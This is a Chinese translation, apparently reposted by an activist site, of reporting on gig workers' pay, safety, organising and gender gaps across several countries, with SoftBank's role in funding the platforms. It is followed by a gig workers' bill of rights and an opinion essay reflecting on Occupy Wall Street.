记者确实找到了一位乌克兰的外卖骑手 Serhii，他是算法管理的坚定

支持者，并坚称那些无法在平台上获得成功的人 “只是懒惰”。他自己每天在基辅骑12个小时的租来的摩托车，而且是无证驾驶。

帕夫洛认识的每一个向平台抱怨工资和条件的人都被告知同样的事，他说：“当其他人因为大流行病而失去工作时，你必须感激自己还能拥有这份工作，并为自己拥有的东西感到高兴”。【这种思考方式类似于中文所言之 “比上不足比下有余” 或 “知足常乐”，它仅仅旨在磨灭所有反抗精神。】***2021*** 年 ***8*** 月，一名 ***Glovo*** 的骑手在乌克兰基辅的街头

Rest of World 的调查显示，零工工人对平台的感受很复杂。许多人 —— 超过60%—— 说他们在经济上 “是满意的”；但是，与此同时，62%的人也表示，他们在工作中经常感到焦虑和恐惧，害怕意外、攻击、疾病，或者只是赚不到足够的钱来支付他们的费用。在接受调查的工人中，超过三分之二的人说他们想在一年内辞职；超过四分之一的人说他们计划在一个月内辞职。

随着平台工作更深入地融入经济，零工工人所面临的个人压力和不安全感可能会产生更广泛的社会影响。不仅 “Uber 的…” 这个标签已经变成了模仿，而且 “平台化” 也成为了风险投资技术的一个标准特征。与此同时，该行业的先驱者们继续将他们的触角伸向新的领域 —— 从叫车服务到食品配送，从食品配送到杂货和物流 —— 他们在努力寻找让自己的模式赚更多钱的方法。

如果不加制止，它们就很可能会成功。这些平台已经能够在它们试图颠覆的行业中超越现有的竞争者，因为它们有现成的现金，而且彼此不受相同规则的束缚。它们相邻，独立，从市场中猎取食物，并且没有减缓传统公司增长的社会和监管义务。它们像绞杀植物 **(Strangler fig)**一样生长，附着在树的外面，汲取树的养分，最终杀死那些树，用自己的根和枝条取代它们。

尤其是，“这些平台所破坏的劳动的方方面面 —— 基本工资、工人权利 —— 都是非常重要的东西”，华威大学名誉教授、社会学家科林·克劳奇（Colin Crouch）说，他研究劳动关系已超过半个世纪，他说，“正常的就业，虽然是企业和工人之间的合同，但也有集体利益，因为它有助于经济中消费的整体稳定，它也为人们的生活提供稳定，使它们不太可能有社会支持的需要。而当进入平台工作时，他们实际上是把他们所做的事的成本倾销给了更广泛的公众。…… 在某种程度上，平台公司是寄生虫”。

社会以不同的方式吸收了这些成本，有些非常明显，有些则更难看

到。在乌克兰，平台支付给退役士兵的工资正悄悄地由国家的失业福利和公共资助的交通补贴。在印度，Zomato 和它的竞争对手外卖平台 Swiggy、以及乘车运营商 Uber 和 Ola，都呼吁公众帮助众筹，为他们的工人在大流行病的早期提供福利。

逃避社会赋予雇主的义务，也使平台可以避开为减少系统性不平等而制定的进步政策。基本的反歧视条例，如产假和其他为减少不平等而制定的措施，往往都不能转化到平台工作上。依靠客户评级来确定价值的不透明的算法和系统只是在编码和放大不平等，按种族、按阶级，特别是按性别。

国际劳工组织最近的一份报告调查了2019年和2020年为基于位置的平台工作的工人，发现在大约十几个国家中，大约只有9%的外卖骑手和5%的叫车司机是女性，反映出女性进入的门槛较高。在 Rest of World 的调查中，大约四分之一的受访者是女性，调查发现，她们不太可能从事高薪形式的零工工作，她们的总体收入低于从事相同角色的男性同行，而且她们的经济满意度较低。

劳德基金会专门研究性别、不平等和劳工问题的研究员巴马·阿斯雷亚（Bama Athreya）告诉记者说："没有人应该期望劳动力市场对人们是公平的，因为它们从来都不公平"。但是，她说，有了技术驱动的平台，歧视"正在超速发展，这将导致看起来像新形式的剥削"。

阿斯雷亚和其他专家说，这在全球南方国家可能更加严重，因为那里的权利机构和对工人和少数群体的保护往往更弱。但是，即使在更富裕的市场，平台经济也在倒退已经取得的维权进展。与调查记者交谈的劳工专家对目前的平台工作进行了一致的评估—— 与其说这是由新技术和巨大的数据井促成的对劳动的彻底和进步的重新认识，不如说它实际上是对几十年来来之不易的社会保护和权利的侵蚀。

克劳奇说："人们的观念是，这就是未来"，"但它实际上是一种非常古老的工作方法。仅仅因为它使用了互联网，给人的印象就像它是如此的现代"。

兹维利·恩温亚因为 Uber 的政策变化而失去了他的车。他在约翰内斯堡为该应用开车五年了，借钱买了一辆轿车，以便为该应用的旗舰服务 UberX 开车。但今年，Uber 宣布在全国范围内推广一种新的、更便宜的乘车类别 —— Uber Go。他的收入因此骤然下降。

"从来没有人询问过你的意见。而有一天你醒来，就发现有新的东西了 …… 你会收到一条应用内的信息或一封电子邮件，说这个东西将

在今天开始推出”，恩温亚说。

这一变化意味着他无法赚到足够的钱来偿还汽车贷款、汽油和移动数据，最后，汽车被银行收回了。“老实说，很多司机都在失去汽车”，他说。他现在租了一辆车，继续在该平台上开车。

南非是一个很难成为 **Uber** 司机的地方。那里的工人列举了一连串劫车、谋杀、用硫酸攻击的事件。其中一些是该国 “出租车黑手党” 的有针对性的攻击，另一些只是该国城市暴力的一个症状。司机们指责 Uber 未能保护他们，迫使他们接活儿而将他们置于危险的境地，并且在帮助警方追踪袭击者方面行动缓慢。曾为 Uber 开车的特蕾莎·芒奇克说：“当事情发生时，你根本就找不到 **Uber**公司”。她是司机团体 The Movement 的劳工组织者，恩温亚也是该团体的成员。

The Movement 通过罢工和抗议对该公司施加压力，但这很困难。“Uber 绝对拒绝承认一个维权团体，更不用说任何形式的协会了”，芒奇克说，“你没有任何讨价还价的能力”。她补充说，许多司机也是移民工人，他们感到自己很脆弱，或者缺乏适当的受雇身份，这使他们对加入抗议活动感到紧张。

正如他们在其他地方所做的那样，Uber 已经告诉司机，它不与任何团体谈判，只与个人谈判。“但是 **……** 作为个人，你会一直被告知，如果你不满意，你可以随时滚蛋”，恩温亚说。

司机们已经赢得了一些让步 —— 恩温亚说，该应用程序现在允许他们拒绝接受他们认为不安全的搭乘，而不会受到惩罚，并提前告诉他们用户是支付现金还是刷卡。“我认识的大多数司机，他们尽量避免来自可疑地区的[现金支付的]搭乘 …… 因为我们相信，很难追踪现金支付的人的身份，对吗？”，恩温亚说。但收入仍然很低，而且无法预测。当他在**8**月那天接受记者采访时，恩温亚已经开了**7**个小时的车，但当天到目前为止只赚了**200**兰特（**13**美元）。

在非洲大陆的另一端，在拉各斯，Uber 司机阿约阿德·易卜拉欣描述了一个几乎相同的情况 —— 司机经常成为抢劫和袭击的受害者。由于车费减少和成本上升，许多人都在为生计而挣扎。

与南非一样，许多尼日利亚司机租用车辆或以分期付款方式购买车辆，但即使是那些拥有自己车辆的司机也难以支付汽油和维修费用，迫使他们延长工作时间并承担更大的风险。“因为人们没有赚到[足够的]钱，他们过度紧张，每天都会发生事故”。

易卜拉欣是全国专业应用程序运输工人联盟（NUPABW）的共同创始人之一，该联盟由在尼日利亚为 Uber 和 Bolt 工作的司机组成，有10,000名成员。他说，在过去几个月里，他的成员中就有**10**人死在了路上。

8月下旬，NUPABW 帮助在阿布贾的尼日利亚议会外组织了三天的示威，并为其死难的成员举行了纪念活动。易卜拉欣说，但让政府听取其关切一直是一场斗争 —— 这些公司有强大的政治游说者、公关和营销团队。

在尼日利亚，就像在南非一样，参与抗议的司机团体一直在担心自己已经被镇压者和公司的线人渗透了。

Uber 没有回应评论请求。

参与这项调查的司机团体说，那所有司机一样，他们资金紧张，而金钱在影响政策方面有很大作用。“看看加州发生了什么。他们花了2亿美元，以便用22号提案压制司机”，易卜拉欣说，他指的是美国加州的一项措施，该措施免除了基于应用程序的交通和乘车共享公司将其员工列为雇员的义务。该法案得到了一大群巨头科技公司的支持，包括 **Uber**、**Lyft** 和 **DoorDash**。工人和劳工团体表示，自**2020**年**11**月这个**22**号提案通过以来，加州平台工人的收入下降很多。

尽管后来被宣布违宪，但**22**号提案对全世界的零工工人来说，都是一次失败。而且这不是唯一的一次。在乌克兰，该国自我定义为“技术领先”的政府通过了一项新法律，有效地允许公司将自己定义为技术平台，并将其工人定义为承包商。“我们在乌克兰有一个奇怪的神话，那就是只有IT行业才能带来金钱”，劳工倡议的法律总监乔治·桑杜尔说。

在平台公司的领导下，全球劳动力的原子化使工人们很难进行反击。大多数公司坚持认为，他们的关系“总是与个人有关”—— 劳动力不是一个单一的机构，而是一个由所谓的“独立承包商”组成的开放市场，他们不会与代表工人发言的组织进行谈判。但随着条件的恶化，平台工人越来越多地被组织起来了。在接受调查的工人中，**48%**的人说他们现在是一个正式团体或工会的成员；**49%**的人说他们参加过罢工或其他工业行动。在送货工人中，这一比例上升到**59%**。

更重要的是，他们正在跨越国界组织起来。正如拥有和投资这些平台的公司是全球化的产物，能够将资本和商业模式从一个地方转移到另一个地方，工人运动也必需是如此 —— 工人们利用全球化的通信基

础设施来组织，在跨国的 **WhatsApp** 群组和 **Telegram** 频道中会面，分享经验，表达团结，并协调他们的行动。

这场运动已经变得越来越正式，也越来越集中，全球工人们一起努力寻找平台公司的防御漏洞，理由是每一次对战巨头的地方性胜利都会使他们更接近系统性变革。

在尼日利亚和南非，易卜拉欣和恩温亚正分别但同时准备起诉 Uber 和 Bolt，这在很大程度上要归功于几千公里外的伦敦的 Uber 司机群体。***2021*** 年 ***8*** 月，全国专业应用程序运输工人联盟（***NUPABW***）在尼日利亚阿布贾组织的示威活动的第三天，为丧生的成员举行了纪念活动。

亚辛·阿斯拉姆在 Uber 于2012年在英国推出一年后开始为该公司开车。2014年底，他帮助创建了一个叫车司机协会，面对来自传统运输工人工会的阻力，这些工会更倾向于游说完全禁止这些应用程序。他们联系了旧金山和纽约的司机团体。

他在英国的电话中对记者说："我们很快发现，Uber 在旧金山所做的事将适用于纽约，然后，从纽约开始，它也适用于伦敦等其他地方"。这个网络不断壮大，尽管是通过 **WhatsApp** 和 **Facebook** 群组非正式地进行的。**2019**年，他们在 **Uber** 于纽约首次公开招股前组织了一次国际司机大罢工。

不久之后，开放社会基金会找到了阿斯拉姆，表示愿意支持他建立一个更正式的国际联盟。2020年1月，新的国际应用运输工人联盟（IAATW）在牛津举行了成立仪式，来自**23**个国家的代表参加了会议。他们制定了一份宣言，要求公平的薪酬、算法管理决策的透明度，以及对平台上允许的司机数量设置上限。

该协会每月举行一次会议，其附属机构包括英国的应用程序司机和快递员联盟（ADCU），阿斯拉姆是该联盟的主席，以及南非的反抗运动的领导者。易卜拉欣是董事会成员。阿斯拉姆说，能够交流经验是"增强能力"，"**……**别忘了，我们是在与巨人作战。而**[**这些平台的**]**整个模式是旨在隔离人们"。

并且，**IAATW** 内的相互支持远远超过了团结。2016年，阿斯拉姆和另一位 Uber 司机詹姆斯·法拉尔将 Uber 告上了就业法庭，认为他们应该被归类为 Uber 的 "工人"，而不是 "合伙人" 或承包商。在英国法律中，工人不一定是雇员，但他们可以获得许多相同的权利，包括最低工资。他们赢得了那场官司和两次进一步的上诉，然后案件最终

在英国高等法院审理。**2021**年**2**月，七名法官一致作出了有利于司机的裁决，指出根据法律，司机从登录应用程序的那一刻起就在为 **Uber** 工作了，在他们的车子可供乘坐的所有时间内，平台公司应支付最低工资。

这是一个有限的胜利。该裁决不包括 Uber Eats 或任何其他平台的快递员。Uber 继续抵制这一判决。6月，该公司与另一个英国工会 GMB 签署了一份不同的协议，不允许就工资进行集体谈判。并非所有国家都有 “工人” 这一法律类别，这使得这一微小的成功很难在不使用普通法框架的管辖区复制。但这确实表明，有可能在一个国家击败巨头，消除他们的论点。

> “这让我们变得更强大。因为如果我们在一个国家赢得了某些东西，那对我们所有人来说都是一场胜利。”

这项裁决在 IAATW 的成员中引起了轰动。在南非，司机们已经在一个类似的法庭上失败了，但在伦敦的胜利促使他们在英国代表 Uber 司机的 Leigh Day 公司的帮助下，重新审理此案。恩温亚已加入诉讼。在尼日利亚，易卜拉欣和 NUPABW 即将发起自己的集体诉讼，要求被承认为工人。

阿斯拉姆说：“这使我们更强大。因为如果我们在一个国家赢得了什么，这就是我们所有人的胜利。”

阿斯拉姆、易卜拉欣、恩温亚和其他人正在进行的论证的简单性中包含着一种力量：平台工作就是工作，所以需要公平的报酬。要防止平台操纵供应和需求，迫使司机承担风险，并将他们推向债务；关键是要坚持这一点。

恩温亚说：“对我来说，这就是胜利，因为这样我就会知道，如果我在网上，我就是在工作；我就应该有收获”。在印度，辛格说得更生动。他说：“如果你想搞我，就搞吧。但要给我钱”。

倡导者说，尽管平台工人的权利之争经常被描述为科技公司的生存之争，但它不一定是这样。“他们赚的钱足够多，可以提供最低限度的保障。他们可以很容易地做到这一点，只是 …… 必需通过限制可以为他们工作的人数”，研究世界各地平台工作的公平工作基金会的博士后研究员马修·科尔说。他补充说，如果他们不能支付生活工资并保持业务，那么也许他们根本就不可行，“它们是资本主义的商业模式。如果你不能赚钱，市场会把你挤出去，对吗？你就没有资格成为

一个成功的企业”。

阿斯拉姆、易卜拉欣、蒙奇克和恩温亚坚持从事平台工作，因为他们确信平台工作可以做得更好，尽管这种模式有许多缺陷。在乌克兰，帕夫洛已经辞职，正打算在劳动力市场上碰碰运气，而不是在基辅的山路上艰难跋涉。在孟买，辛格就快把他的自行车修好了。他继续在社交媒体上传播信息，但他很快就会回到街头。

他说：“我感到非常害怕；我真的被吓到了。现在仍然是雨季，孟买的道路在大雨中经常被淹没”。他担心，他的下一次事故可能会更严重。“这可能再次发生在我身上。这算是一个信号，即：‘听着，伙计，如果你继续做下去，下一次你就会死’”，他说。“但是我有两个月的账单要付给房东 **……** 我没有钱来实际生活，吃饭，或做任何事。所以你知道，我没有选择，伙计。恐惧不是一种选择”。Tomohiro Ohsumi/Getty Images

推动全球零工模式的投资者是谁？

「图」

据报道，日本科技公司软银的创始人兼董事长孙正义在2016年推出该公司的第一个“愿景基金”后，他告诉投资者说，他“无意做小赌注”。由于要部署的是高达930亿美元的资金，“小赌注”其实并不是一个选项。

在接下来的五年里，软银利用这一庞大的资金池，成为全球平台经济最重要的支持者之一。甚至在愿景基金成立之前，软银就已经支持了印度叫车公司 Ola，加入了一轮2.1亿美元的融资，将 Ola 的估值推到了10亿美元以上。从那时起，软银支持了该行业的两个最大的参与者 **——** 美国的优步和中国的滴滴，以及东南亚的领导者 **Grab**。它还投资了印度食品配送企业 **Zomato** 和 **Rappi**，后者已从哥伦比亚的基地扩展成为整个拉丁美洲的超级应用。在巴西，软银投资了另一家叫车创业公司**99**，该公司最终被中国的滴滴收购。

软银并不是平台公司的唯一主要投资者，但它的影响力和规模使它与零工经济中的大多数主要参与者只有一两级的距离。它的赌注规模使它不仅能够挑选赢家，而且能够创造赢家，而它的全球影响力意味着它能够建立区域垄断，将世界划分给少数巨头。

零工平台分布图 **——**

「图」

截至2021年9月，12家最大的国际零工工作公司的全球业务分布：

这种做法在亚洲非常明显，Uber 在中国与滴滴出行竞争，在东南亚与 Grab 竞争。在这两个案例中，在燃烧大量资本以赢得市场份额之后，Uber 将其业务卖给了当地的竞争对手，最终在这两个公司拥有相当大的股份。滴滴还拥有 Uber 最大的国内竞争对手 Lyft 的股份。阿里巴巴是软银的另一家投资组合公司，也是早期投资者。滴滴还投资了 Careem，这是一个有抱负的中东超级应用，后来被 Uber 收购。软银未能说服 Grab 与其区域竞争对手 GoJek 合并，但后者随后同意与另一家软银投资的电子商务平台 Tokopedia 合作。

交叉持股和相互投资意味着平台经济中的竞争构成并不明确。专家表示，这也反映了软银的做法及其快速部署巨额资金的能力。当其他风险投资公司寻找一个具有可能在全球范围内扩展的模式的单一公司时，“软银已经有1000亿美元的投资”，欧洲工商管理学院教授克劳迪娅·泽斯伯格说，“因此，有了软银的首肯，你可以说，‘好吧，我们现在其实不需要找到最好的一个。我们只要找到前五名，并对所有人进行投资。然后我们再决定谁在哪里赢’”。

谁在资助零工经济 ——

「图」

截至2021年9月，12个最大的国际零工工作平台的共同投资者：

对这些企业来说，“赢” 在大多数情况下是为了实现规模—— 几乎不惜一切代价。软银，以及在较小程度上该领域的其他风险投资公司，已经投下资金，给他们的投资组合公司提供财务火力，以超越潜在的竞争对手，而不必担心他们的单位经济是否增加。“这是非常积极的。你需要额外的资金，没问题。第一个50亿来自哪里，就有再一个50亿，下一个50亿，没有问题”，泽斯伯格说，“当你有1000亿美元的基金时，你基本上只是在考虑 ‘怎么花掉它’？”

资本的可用性也意味着大型平台公司能够保持更长时间的私有化，而不必在公开市场上测试其估值。股票市场并不总是能接受亏损的科技公司。Uber 的股票在2019年首次亮相时下挫了8%以上，并继续低于其最后的私人估值。食品配送公司 Deliveroo（它不是软银的投资组合公司）2021年在伦敦上市当天损失了超过25%的价值。并非所有的上市都是灾难性的—— Zomato 在2021年7月的首次公开募股获得了

巨大的超额认购，这是在印度科技公司上市的大潮中发生的。Grab 本应在6月通过特殊目的收购上市，但最终推迟了。

平台经济中的竞争并不直接了当。通过共享投资者、兼并和收购，各公司最终都相互持股。下面这张图用方向性的→箭头说明了公司和出资人之间的投资；代表公司的●圆圈的面积是按照公司目前的估值，或○收购的最新估值；资助者用■方块表示。软银的赌注规模使其不仅可以挑选赢家，而且可以创造赢家

泽斯伯格呼应了几位不愿透露姓名的风险投资家的观点，她说，对于企业的长期前景仍有许多疑问，这些企业尚未证明其模式可以在没有持续现金注入的情况下运作，或者证明它们可以承受经济冲击。“我认为问题最终将是，这些企业是可以长期持续发展的吗？”，她说。

平台经济如何让女性失败

「图」

当40岁的阿耶莎在2017年开始为叫车服务 Careem 开车时，她急切地想获得稳定的收入。六个月前，她失去了在卡拉奇一家当地银行的工作，随后的找工作过程非常残酷。

应阿耶莎的要求，她的名字已被更改，她认为为该服务工作将结束她的经济困境。

Careem 公司最近为巴基斯坦妇女加入他们的车队推出了激励措施，包括缩短工作时间和保证最低日收入。在不到一年的时间里，阿耶莎的月收入就达到了5万巴基斯坦卢比（301美元）：比她在银行的工资还多，足以支付她的一室公寓的租金，照顾她年迈的父母，并为她的储蓄增加一点。

但是，当该乘车服务在**2019**年被 **Uber** 收购后，阿耶莎说，公司拿走了这些奖励。她的收入下降到每月不到3万卢比（179美元）。

阿耶莎在一个周一的下午通过电话接受了采访。她把车停在卡拉奇的科兰吉工业区附近的一棵树下—— 这是一片弥漫着的混凝土和灰尘的地方—— 她希望能在午餐时间赶上交通。当时是下午**2**点，她在路上走了大约**5**个小时，只拉到了一个活儿，赚了**300**卢比（**1.8**美元）。

阿耶莎说，如果司机想在 **Careem** 上谋生，他们需要在一天的大部分

时间里都能拉到活儿，但对她来说，这是不可能的。她说：“如果我整天都在路上，谁来照顾我的家？”

Rest of World 与研究公司 Premise 合作，调查了15个国家的4900多名零工工人，询问他们在叫车、送餐和家政服务平台工作的经历。研究发现，平台工作存在严重的性别歧视，大多数家政工人是女性，而绝大多数的叫车司机和送货员是男性。调查发现，平台将女性带入了劳动力市场：在对调查作出回应的女性打工者中，有11%的人表示在加入平台之前没有工作，而男性只有8%。

但调查也发现，性别差距仍然很大，这表明劳动力中对女性的结构性歧视已经在平台工作中得到了复制。“平台经济从根本上受益于先前部门的同样的父权制”，劳动、性别平等和社会包容问题研究员、关于零工工作中的性别不平等问题的报告 *Bias In, Bias Out* 的作者 Bama Athreya 说，“当新技术出现时，这些东西被复制出来，对我们来说不应该感到惊讶”。

女性零工工人的工作时间比男性少 ——

「图」

按性别划分的平均工作时间。在 Rest of World 和 Premise 调查的每个国家，女性零工工人的工作时间都比男性同事短。平台往往激励工人尝试工作更长的时间，更不灵活的班次，这意味着女性 —— 通常有额外的照护责任—— 无法获得这种类型工作的全部好处。

女性—— 约占这项调查的工人总数的四分之一—— 不太可能从事收入较高的平台工作，如出租车驾驶，而且总体收入较低，尽管她们每小时的收入通常与男性同行大致相同。这是因为女性在零工平台上的工作时间比男性少。这种情况在巴基斯坦尤其明显，女性在典型的一天中平均工作4.3小时，而男性平均工作6.3小时。

Athreya 说，这可能归结于平台分配劳动的方式。虽然他们应该允许灵活的轮班，但在现实中，他们往往为工人提供激励，让工人接受一份又一份的工作，而对拒绝工作的工人进行惩罚。但女性在家务劳动和护理方面仍然承担着不成比例的角色，这意味着她们往往无法满足算法的时间要求。

Athreya说：“像游戏化这样的事—— 激励说，‘嘿，如果你多做一件事，我们就会把你提升到这个标准的奖金’—— 如果你不合适，工作就会立即消失；所有这些事都有性别上的影响，因为女性经历的时间

贫困不同”。

可以理解的是，这种情况转化为女性报告的财务满意度低于其男性同行。在被调查的国家中，巴基斯坦、埃塞俄比亚和南非报告的女性和男性零工工人之间的经济满意度差距最大。

女性零工工人的满意度低于男性 ——

「图」

下图是按性别划分的财务满意度。虽然女性在平台上每小时的收入与男性相同，但她们的工作时间更少。在调查的所有国家中，除少数国家外，女性工人均表示她们对工作的经济满意度低于男性同行。

Athreya 说，应用程序用来判断工人表现的评级系统也可以“编码歧视”，反映用户有意识或无意识的偏见。“要追究公司的责任是非常、非常、非常困难的。因为，当然，评级是外包给客户的”，她说，“所以，是公司在歧视？还是客户？”

平台的商业模式通常也依赖于工人被定义为“独立承包商”，这意味着在工人和客户之间进行调解的科技公司并不对妇女在工作中的安全负责。这再次减少了妇女可以从事的工作类型和数量，降低了她们的收入能力。

像以前的研究一样，Rest of World 的调查数据只抓住了那些首先能够进入平台的妇女。在巴基斯坦这样性别歧视特别严重的国家，妇女获得财政资源的机会很少，因此更难投资于她们进入零工平台所需的资产，如车辆、燃料、智能手机和数据计划。

萨达夫·阿比德(Sadaffe Abid)是一名社会企业家，也是 Circle Pakistan 的联合创始人，致力于为巴基斯坦妇女提供数字扫盲计划。她说，智能手机是“通往知识的大门”，使妇女能够在经济上独立，但在巴基斯坦的手机所有权方面存在着巨大的性别差距。女性拥有手机的可能性比男性低38%，使用移动互联网的可能性低49%，而拥有手机钱包的可能性低94%。她说：“如果当今世界的妇女不具备数字知识，她就会被抛在后面，她的行动能力已经受到限制，而且她完全无法与世界联系”。

零工工作具有很强的性别特征 ——

「图」

下图为调查对象中按性别划分的平台工作份额。由于社会和经济上的不平等，女性工人在一般情况下占少数，而且从事高薪工作的可能性要小得多，比如驾驶乘用车，而这种不平等在平台工作中也会被复制。

在巴基斯坦，摩托车出租和送货服务公司已开始为妇女提供培训课程，以鼓励她们加入车轮上的零工队伍。截至2019年12月，在巴基斯坦信德省，只有4052名女性拥有摩托车驾驶执照，而男性为230万。

但对卡拉奇的一名艺术学生努尔来说，为当地一家快递公司担任送货员意味着最终要忍受慢性背痛。她工作的公司没有为工人的摩托车提供顶箱。相反，送货员被要求将绝缘的送货袋绑在肩膀上，里面常常塞满沉重的包裹。努尔（她的名字也被改了）说，她的背部疼痛影响了她长时间工作的能力，使她的收入减少了一半。在卡拉奇送了六个月的包裹后，她辞职了。现在，她已经转向远程工作，在兼顾多个客户的同时，照顾她的 YouTube 频道使其能盈利。

但是，即使在以家庭为基础的工作平台上，女性也必须面对家庭责任和有偿工作的双重负担。正如自由分析师和项目经理法伊扎·优素福(Faiza Yousuf)所说的，护理工作的负担使妇女难以从家庭中解脱出来。她说："由于她们在家里工作，人们自动认为她们可以为家庭服务，因此，工作受到影响"。

即使她们能够开始为平台工作，妇女也往往不能利用她们的收入作为实现金融包容性的跳板。正如卡拉奇的临时工阿斯拉·里兹万·汗(Asra Rizwan Khan) 说的，即使是开立银行账户这样简单的事对女人来说也可能是一场艰苦的斗争 —— 银行要求提供收入证明和工作证明，而零工工人和合同制自由职业者往往无法提供。银行员工往往不理解什么是自由职业，不认为它与其他工作具有同等地位。她说："而且，作为女性，要求一个银行账户是相当令人生畏的。巴基斯坦有大量的金融技术初创企业涌现，但没有人谈论这个国家数百万没有银行账户的妇女"。

汗说，在7月，她偶然发现了一个 LinkedIn 的帖子，宣传一个针对企业家—— 特别是女性—— 的新小额信贷项目。帖子下面的评论让她感到不安：他们大多是男性，责备这个项目的存在，并质疑为什么女性一开始就需要一个小额信贷项目。她说："我以为自由职业和创业是在赋予妇女权力，但它们没有改变我们所处的社会和文化"。

美国工人的斗争：让零工成为体面的工作

「图」

10月7日是世界体面工作日。零工工人们正在采取行动，要求 #让零工成为体面的工作 #MakeGigWorkDecentWork。他们共同创建了一个权利法案，概述了政府必须保证哪些最低权利，以确保公平和非歧视性地对待零工工人。以下的列举是为全球的零工工人反抗者参考：

1、工人就是工人；充分的就业权利，不受关于最低工资、病假、假期工资和其他最低就业标准的限制。

2、公司需要支付所有的工作时间：从工人签到开始，到他们签出应用程序为止的带薪时间，并有明确和简明的工资计算方式的分类。

3、对必要的工作相关费用进行补偿，以确保零工工人的实际工资不会降低到法律规定的最低工资水平以下。

4、充分和平等地享受受监管的福利计划，如就业保险（EI），加拿大退休金计划（CPP）和伤害赔偿（WSIB）。

5、数据透明：工人可以获得所有被收集的数据，以及关于该算法如何影响工人的透明度，包括任何形式的惩戒。

6、让所有的工作都算数：零工工作必须计入永久居留权申请。

7、把证明工人不是雇员的责任放在雇主身上，而不是让工人去证明他们不是独立承包商。将可预测的和有目的的ABC测试纳入就业状态。

8、承认零工工人有权在他们选择的地方成立工会，在工作中拥有集体的声音。

9、工人必须有权与他们的雇主谈判，以获得合理的工资和福利。真正的、由工人主导的部门谈判，以实现有意义的集体谈判，提高行业标准。

10、结束任意解雇行为和对故障的公平赔偿。保护解雇的正当理由，获得明确和自由的程序以及至少是最低标准的执行机制。对平台方面的技术造成的问题进行赔偿。

这是一场新的战役，如果它能获胜，哪怕是一小部分，也将成为全球零工工人的胜利。〇 西班牙剧集「***La casa de papel***」台词

THE GLOBAL GIG WORKERS: Gig workers are uncertain, scared, and barely scraping by

MAKE GIG WORK DECENT WORK

原文

我们这些99%：在占领华尔街十周年的日子里思考新的政治身份 - iyouport

反抗者-寻求经验长读

革命是由那些意图强大的人制造的。去做就对了，不必考虑成功还是失败；不需要恪守计划，不需要诉求，甚至不需要一致的意识形态 ..... 当您将一切放下时，机会也许就来了。

那是2011年9月21日，“占领华尔街” 开始的第四天，当时这场运动还没有真正被称为 “占领华尔街”，只是占领。噩耗传来，美国公民特洛伊·戴维思 (Troy Anthony Davis) 被佐治亚州警官马克·麦克菲谋杀。一位组织者在集会上向几千名抗议者讲述了这件事，现场充满了愤怒和悲伤，人们高声呼喊，哭泣和发誓。

从那里，人们游行到祖科蒂公园，这大概是 “占领” 运动第一次游行到街上，人们拆掉路障，公开不服从警察的命令。

踏出路边的那一刻是电光火石。这完全是一种转变，对所有参与者来说比多年的文本研究还要重要。它使一系列全新的战术被允许，并为成百上千的人所接受 —— 甚至是显而易见的接受—— 这支队伍每天都在加入新人，他们甚至在此之前从来没有过参与运动的经验。

从那时起，人们就开始上街了。几天后，在第五大道上发生了大规模的逮捕行动，并发生了著名的胡椒喷雾事件，使这些抗议者成为了新闻人物。几天后，700人在布鲁克林大桥上被捕。这一刻开始，“占领” 真正成为了占领运动。

这几乎是太明显了，但促使 “占领” 形成的事情之一是一个简单的事实：它是基于行动的。不仅如此—— 它是对资本主义的有力批判，是民主的实践，还有更多，但不可能将这些东西与原始的、未经过滤的广阔性联系起来，这种广阔性来自于对规则的蔑视，以及用自己的身体去做那些紧迫的、有目的的、和真实的事情。

一旦“占领”行动崩溃，许多人都心碎地离开了，但他们清楚地意识到还会有这样的时刻出现。根据行动者的分析，过去四十年的主要特点是右翼对左翼基础设施的战争，甚至是对这个国家的普通人的社会联系的基本结构的战争，这使人们软弱无力，措手不及，直到那年9月17日的火花飞溅起来。

占领之后，许多人开始建立机构—— 社区组织、选举工具、出版物、培训机构、合作网络等等—— 这是因为这些都是革命者在每个运动时刻所做的事，也因为人们感觉到未来会有更多的运动时刻。人们相信，如果左翼有足够的基础设施准备好在时机成熟时投入行动，就能进一步推动运动时刻。

在这一过程中，关于战略的整个思想领域得到了蓬勃发展。组织者、思想家、作家和培训师进行了很多干预，部分是基于“占领”的失败。许多人坚持认为，战略需要一个有基础的诊断，明确和可实现的目标，以及一个从这里到那里的连贯的行动计划—— 没有目标或吸纳被吸引的人的计划的随机行动呼吁是一个死胡同。一些人认为，我们需要的是有明确目标的组织，甚至是运动，要有明确的前进的道路，有接纳人们并不断成长的方式。而有些人则认为，人们需要组织—— 需要成为蓬勃发展的团体的一部分 —— 以便在斗争中保持长久的胜利，团体是我们采取行动的方式，是我们转变的地方，是我们相互问责的方式，是我们找到归属的地方。支持社会运动团体努力成为健康的和战略性的团体，支持组织建设的工作，这应该是日常 ……

但是，也许有一些东西缺失了，失去了平衡，在这个机构建设的时代，迷失在良好战略的土地上。

组织者动员人们参加直接行动培训，制定紧急联络表，行动协调会议、制定漫长的战略规划 …… 这些都是标注流程。当然，培训肯定有很好的理由，规划和协调也具有重要的理由；然而，人们经常会发现自己渴望一些更加猛烈的、更愤怒的东西，一些真实的、不那么精心策划的、也许不那么周到的东西。

人们渴望那些罕见的、转瞬即逝的时刻，这些时刻使计划变得无关紧要，它要求你放下一切，承担从未梦想过的风险，这些时刻可能会伤害到你，但也能使你变得更强大、更大胆，渴求更多 —— 这些时刻，有太多的人报名参加直接行动，不再需要指挥员，因为人民在街头直接形成了潮汐，而你在其中是安全的。也许这些是传统的组织者在发展结构和常规时经常会忘记的一些东西，是在制定计划时错过的一些时刻。

当然，“占领”的缺点之一是缺乏战略。虽然有大量的计划（是的，没有什么是真正自发的），但它没有要求、也没有目标，没有一个可以长期进行的结构。在许多方面，“占领”是盲目的，可能很傻，但是，它给这个世界带来了一些重要的东西，一些可以借助人们的愤怒，捕捉他们的想象力，释放他们的创造力，并为他们最深层的梦想提供的声音。谁知道呢，也许，如果占领运动“更聪明”，它可能就会失败。

这里的教训并不是说直接行动是引发运动的唯一方法，并不是说我们应该抛弃好的战略，也不是说要取消协调，更不是说停止建立支持运动建设和以不同方式承担风险的结构；这里的教训是，我们既需要组织也需要运动，既需要好的战略也需要本能，既需要计划也需要对计划的不尊重。

